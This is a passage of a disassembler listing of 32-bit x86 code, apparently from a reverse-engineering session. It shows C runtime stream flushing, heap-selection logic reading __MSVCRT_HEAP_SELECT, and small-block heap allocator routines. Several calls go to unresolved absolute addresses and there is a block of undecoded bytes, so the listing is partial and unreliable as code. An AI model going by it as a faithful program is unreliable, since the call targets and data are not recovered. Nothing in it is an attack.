loc_41DAEB: ; CODE XREF: sub_41DA72+3Bj
; sub_41DA72+5Bj ...
xor ebp, ebp
loc_41DAED: ; CODE XREF: sub_41DA72+77j
push edi
call sub_423828
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_41DB08
push ebp
call sub_4203DF
pop ecx
jmp short loc_41DB1D
; ---------------------------------------------------------------------------
loc_41DB08: ; CODE XREF: sub_41DA72+8Bj
xor eax, eax
jmp short loc_41DB20
; ---------------------------------------------------------------------------
loc_41DB0C: ; CODE XREF: sub_41DA72+Ej
; sub_41DA72+2Fj
and dword_4DB95C, 0
mov dword_4DB958, 9
loc_41DB1D: ; CODE XREF: sub_41DA72+94j
or eax, 0FFFFFFFFh
loc_41DB20: ; CODE XREF: sub_41DA72+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41DA72 endp
; =============== S U B R O U T I N E =======================================
sub_41DB25 proc near ; CODE XREF: sub_41B05B+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41DB4E
test al, 8
jz short loc_41DB4E
push dword ptr [esi+8]
call sub_41B0B1
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_41DB4E: ; CODE XREF: sub_41DB25+Aj
; sub_41DB25+Ej
pop esi
retn
sub_41DB25 endp
; =============== S U B R O U T I N E =======================================
sub_41DB50 proc near ; CODE XREF: sub_41DBF0+2Dp
; sub_41DBF0+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_41DB62
push esi
call sub_41DBF0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB62: ; CODE XREF: sub_41DB50+7j
push esi
call sub_41DB8B
test eax, eax
pop ecx
jz short loc_41DB72
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41DB72: ; CODE XREF: sub_41DB50+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_41DB87
push dword ptr [esi+10h]
call sub_4238DF
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_41DB87: ; CODE XREF: sub_41DB50+26j
xor eax, eax
pop esi
retn
sub_41DB50 endp
; =============== S U B R O U T I N E =======================================
sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap
; ___:0041D223p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_41DBD8
test ax, 108h
jz short loc_41DBD8
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_41DBD8
push edi
push eax
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, edi
jnz short loc_41DBD1
mov eax, [esi+0Ch]
test al, 80h
jz short loc_41DBD8
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_41DBD8
; ---------------------------------------------------------------------------
loc_41DBD1: ; CODE XREF: sub_41DB8B+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_41DBD8: ; CODE XREF: sub_41DB8B+14j
; sub_41DB8B+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41DB8B endp
; =============== S U B R O U T I N E =======================================
sub_41DBE7 proc near ; CODE XREF: sub_4239DBp
push 1
call sub_41DBF0
pop ecx
retn
sub_41DBE7 endp
; =============== S U B R O U T I N E =======================================
sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap
; sub_41DBE7+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_4DCC80, esi
jle short loc_41DC4E
loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj
mov eax, dword_4DBC78
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41DC45
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41DC45
cmp [esp+0Ch+arg_0], 1
jnz short loc_41DC2B
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41DC45
inc ebx
jmp short loc_41DC45
; ---------------------------------------------------------------------------
loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41DC45
test cl, 2
jz short loc_41DC45
push eax
call sub_41DB50
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41DC45
or edi, eax
loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj
; sub_41DBF0+23j ...
inc esi
cmp esi, dword_4DCC80
jl short loc_41DC01
loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41DC59
mov eax, edi
loc_41DC59: ; CODE XREF: sub_41DBF0+65j
pop edi
pop esi
pop ebx
retn
sub_41DBF0 endp
; =============== S U B R O U T I N E =======================================
sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
nop
call near ptr 2690126h
cmp word ptr [eax], 5A4Dh
jnz short loc_41DC88
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41DC88
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41DC88: ; CODE XREF: sub_41DC5D+15j
; sub_41DC5D+1Cj
pop esi
retn
sub_41DC5D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_41BB20
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
call near ptr 26D066Bh
nop
test eax, eax
jz short loc_41DCCD
cmp dword ptr [ebp-88h], 2
jnz short loc_41DCCD
cmp dword ptr [ebp-94h], 5
jb short loc_41DCCD
push 1
pop eax
jmp loc_41DDCF
; ---------------------------------------------------------------------------
loc_41DCCD: ; CODE XREF: ___:0041DCB1j
; ___:0041DCBAj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call near ptr 2890000h
nop
test eax, eax
jz loc_41DDBC
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41DD0F
loc_41DCFC: ; CODE XREF: ___:0041DD0Dj
mov al, [ecx]
cmp al, 61h
jl short loc_41DD0A
cmp al, 7Ah
jg short loc_41DD0A
sub al, 20h
mov [ecx], al
loc_41DD0A: ; CODE XREF: ___:0041DD00j
; ___:0041DD04j
inc ecx
cmp [ecx], bl
jnz short loc_41DCFC
loc_41DD0F: ; CODE XREF: ___:0041DCFAj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_41BE70
add esp, 0Ch
test eax, eax
jnz short loc_41DD31
lea eax, [ebp-122Ch]
jmp short loc_41DD7A
; ---------------------------------------------------------------------------
loc_41DD31: ; CODE XREF: ___:0041DD27j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
call near ptr 2670000h
nop
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41DD65
loc_41DD52: ; CODE XREF: ___:0041DD63j
mov al, [ecx]
cmp al, 61h
jl short loc_41DD60
cmp al, 7Ah
jg short loc_41DD60
sub al, 20h
mov [ecx], al
loc_41DD60: ; CODE XREF: ___:0041DD56j
; ___:0041DD5Aj
inc ecx
cmp [ecx], bl
jnz short loc_41DD52
loc_41DD65: ; CODE XREF: ___:0041DD50j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_41B900
pop ecx
pop ecx
loc_41DD7A: ; CODE XREF: ___:0041DD2Fj
cmp eax, ebx
jz short loc_41DDBC
push 2Ch
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41DDBC
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41DDA1
loc_41DD93: ; CODE XREF: ___:0041DD9Fj
cmp byte ptr [ecx], 3Bh
jnz short loc_41DD9C
mov [ecx], bl
jmp short loc_41DD9D
; ---------------------------------------------------------------------------
loc_41DD9C: ; CODE XREF: ___:0041DD96j
inc ecx
loc_41DD9D: ; CODE XREF: ___:0041DD9Aj
cmp [ecx], bl
jnz short loc_41DD93
loc_41DDA1: ; CODE XREF: ___:0041DD91j
push 0Ah
push ebx
push eax
call sub_41BBA6
add esp, 0Ch
cmp eax, 2
jz short loc_41DDCF
cmp eax, 3
jz short loc_41DDCF
cmp eax, 1
jz short loc_41DDCF
loc_41DDBC: ; CODE XREF: ___:0041DCE6j
; ___:0041DD7Cj ...
lea eax, [ebp-4]
push eax
call sub_41DC5D
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41DDCF: ; CODE XREF: ___:0041DCC8j
; ___:0041DDB0j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dw 0C033h
dd 4439006Ah, 680824h, 0F000010h, 0E850C094h, 2482218h
dd 0A3C08590h, 4DCFE4h, 93E83674h, 83FFFFFEh, 0E8A303F8h
dd 75004DCFh, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh
dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 0E8004Dh
dd 9002472Fh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFE4h
dd 21BEE890h, 0C0850238h, 4DCFDCA3h, 0C3017500h, 4244C8Bh
dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h
dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p
; sub_41B202+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4DCFD8
lea ecx, [eax+eax*4]
mov eax, dword_4DCFDC
lea ecx, [eax+ecx*4]
loc_41DE87: ; CODE XREF: sub_41DE77+26j
cmp eax, ecx
jnb short loc_41DE9F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41DEA1
add eax, 14h
jmp short loc_41DE87
; ---------------------------------------------------------------------------
loc_41DE9F: ; CODE XREF: sub_41DE77+12j
xor eax, eax
locret_41DEA1: ; CODE XREF: sub_41DE77+21j
retn
sub_41DE77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p
; sub_41B202+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E1C6
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41DF78
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF06
push 3Fh
pop edx
loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41DF5A
cmp edx, 20h
jnb short loc_41DF31
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41DF52
; ---------------------------------------------------------------------------
loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41DF52
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41DF52: ; CODE XREF: sub_41DEA2+86j
; sub_41DEA2+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41DF5D
; ---------------------------------------------------------------------------
loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj
mov ecx, [ebp+var_4]
loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41DF78: ; CODE XREF: sub_41DEA2+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41DF86
push 3Fh
pop edx
loc_41DF86: ; CODE XREF: sub_41DEA2+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E029
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41DFAB
mov ebx, esi
loc_41DFAB: ; CODE XREF: sub_41DEA2+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41DFBD
mov edx, esi
loc_41DFBD: ; CODE XREF: sub_41DEA2+117j
cmp ebx, edx
jz short loc_41E024
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E00C
cmp ebx, 20h
jnb short loc_41DFED
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E00C
; ---------------------------------------------------------------------------
loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E00C
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E00C: ; CODE XREF: sub_41DEA2+128j
; sub_41DEA2+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E024: ; CODE XREF: sub_41DEA2+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E02C
; ---------------------------------------------------------------------------
loc_41E029: ; CODE XREF: sub_41DEA2+EDj
mov ebx, [ebp+arg_0]
loc_41E02C: ; CODE XREF: sub_41DEA2+185j
cmp [ebp+var_C], 0
jnz short loc_41E03A
cmp ebx, edx
jz loc_41E0BB
loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E0BB
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E092
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E081
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E081: ; CODE XREF: sub_41DEA2+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E0BB
; ---------------------------------------------------------------------------
loc_41E092: ; CODE XREF: sub_41DEA2+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E0A8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E0BB: ; CODE XREF: sub_41DEA2+192j
; sub_41DEA2+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E1C6
mov eax, dword_4DCFD4
test eax, eax
jz loc_41E1B8
mov ecx, dword_4DCFCC
mov esi, dword_4271C0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4DCFCC
mov eax, dword_4DCFD4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DCFD4
mov ecx, dword_4DCFCC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DCFD4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DCFD4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E149
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DCFD4
loc_41E149: ; CODE XREF: sub_41DEA2+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E1B8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4DCFD4
push dword ptr [eax+10h]
push 0
push dword_4DCFE4
nop
call near ptr 2790000h
mov eax, dword_4DCFD8
mov edx, dword_4DCFDC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DCFD4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41CC90
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DCFD8
cmp eax, dword_4DCFD4
jbe short loc_41E1AE
sub [ebp+arg_0], 14h
loc_41E1AE: ; CODE XREF: sub_41DEA2+306j
mov eax, dword_4DCFDC
mov dword_4DCFD0, eax
loc_41E1B8: ; CODE XREF: sub_41DEA2+234j
; sub_41DEA2+2ABj
mov eax, [ebp+arg_0]
mov dword_4DCFCC, edi
mov dword_4DCFD4, eax
loc_41E1C6: ; CODE XREF: sub_41DEA2+38j
; sub_41DEA2+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41DEA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E1CB proc near ; CODE XREF: sub_41B202+77p
; sub_41B513+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DCFD8
mov edx, dword_4DCFDC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E20B
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E21B
; ---------------------------------------------------------------------------
loc_41E20B: ; CODE XREF: sub_41E1CB+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej
mov eax, dword_4DCFD0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E242
loc_41E229: ; CODE XREF: sub_41E1CB+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E242
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E229
loc_41E242: ; CODE XREF: sub_41E1CB+5Cj
; sub_41E1CB+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E2C0
mov ebx, edx
loc_41E249: ; CODE XREF: sub_41E1CB+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E265
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E263
add ebx, 14h
jmp short loc_41E249
; ---------------------------------------------------------------------------
loc_41E263: ; CODE XREF: sub_41E1CB+91j
cmp ebx, eax
loc_41E265: ; CODE XREF: sub_41E1CB+83j
jnz short loc_41E2C0
loc_41E267: ; CODE XREF: sub_41E1CB+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E27D
cmp dword ptr [ebx+8], 0
jnz short loc_41E27A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E267
; ---------------------------------------------------------------------------
loc_41E27A: ; CODE XREF: sub_41E1CB+A5j
cmp ebx, [ebp+var_4]
loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj
jnz short loc_41E2A5
mov ebx, edx
loc_41E281: ; CODE XREF: sub_41E1CB+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E295
cmp dword ptr [ebx+8], 0
jnz short loc_41E293
add ebx, 14h
jmp short loc_41E281
; ---------------------------------------------------------------------------
loc_41E293: ; CODE XREF: sub_41E1CB+C1j
cmp ebx, eax
loc_41E295: ; CODE XREF: sub_41E1CB+BBj
jnz short loc_41E2A5
call sub_41E4D4
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E2B9
loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj
; sub_41E1CB:loc_41E295j
push ebx
call sub_41E585
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E2C0
loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j
xor eax, eax
jmp loc_41E4CF
; ---------------------------------------------------------------------------
loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj
; sub_41E1CB:loc_41E265j ...
mov dword_4DCFD0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E2E7
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E31E
loc_41E2E7: ; CODE XREF: sub_41E1CB+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E31B
loc_41E304: ; CODE XREF: sub_41E1CB+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E304
loc_41E31B: ; CODE XREF: sub_41E1CB+137j
mov edx, [ebp+var_4]
loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E347
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E347: ; CODE XREF: sub_41E1CB+16Dj
; sub_41E1CB+183j
test ecx, ecx
jl short loc_41E350
shl ecx, 1
inc edi
jmp short loc_41E347
; ---------------------------------------------------------------------------
loc_41E350: ; CODE XREF: sub_41E1CB+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41E36D
push 3Fh
pop esi
loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj
cmp esi, edi
jz loc_41E482
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E3DE
cmp edi, 20h
jge short loc_41E3AD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41E3DB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41E3DE
; ---------------------------------------------------------------------------
loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j
; sub_41E1CB+203j
mov ebx, [ebp+arg_0]
loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j
; sub_41E1CB+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41E48E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E47F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41E450
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E43E
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41E43E: ; CODE XREF: sub_41E1CB+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41E47F
; ---------------------------------------------------------------------------
loc_41E450: ; CODE XREF: sub_41E1CB+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E469
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41E469: ; CODE XREF: sub_41E1CB+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej
; sub_41E1CB+283j
mov ecx, [ebp+var_8]
loc_41E482: ; CODE XREF: sub_41E1CB+1A4j
test ecx, ecx
jz short loc_41E491
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41E491
; ---------------------------------------------------------------------------
loc_41E48E: ; CODE XREF: sub_41E1CB+229j
mov ecx, [ebp+var_8]
loc_41E491: ; CODE XREF: sub_41E1CB+2B9j
; sub_41E1CB+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41E4C7
cmp ebx, dword_4DCFD4
jnz short loc_41E4C7
mov ecx, [ebp+var_4]
cmp ecx, dword_4DCFCC
jnz short loc_41E4C7
and dword_4DCFD4, 0
loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j
; sub_41E1CB+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E1CB endp
; =============== S U B R O U T I N E =======================================
sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp
mov eax, dword_4DCFD8
mov ecx, dword_4DCFC8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41E517
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DCFDC
push edi
push dword_4DCFE4
nop
call near ptr 2840000h
cmp eax, edi
jz short loc_41E567
add dword_4DCFC8, 10h
mov dword_4DCFDC, eax
mov eax, dword_4DCFD8
loc_41E517: ; CODE XREF: sub_41E4D4+11j
mov ecx, dword_4DCFDC
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DCFE4
lea esi, [ecx+eax*4]
nop
call near ptr 27A0000h
cmp eax, edi
mov [esi+10h], eax
jz short loc_41E567
push 4
push 2000h
push 100000h
push edi
nop
call near ptr 28A065Ah
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41E56B
push dword ptr [esi+10h]
push edi
push dword_4DCFE4
nop
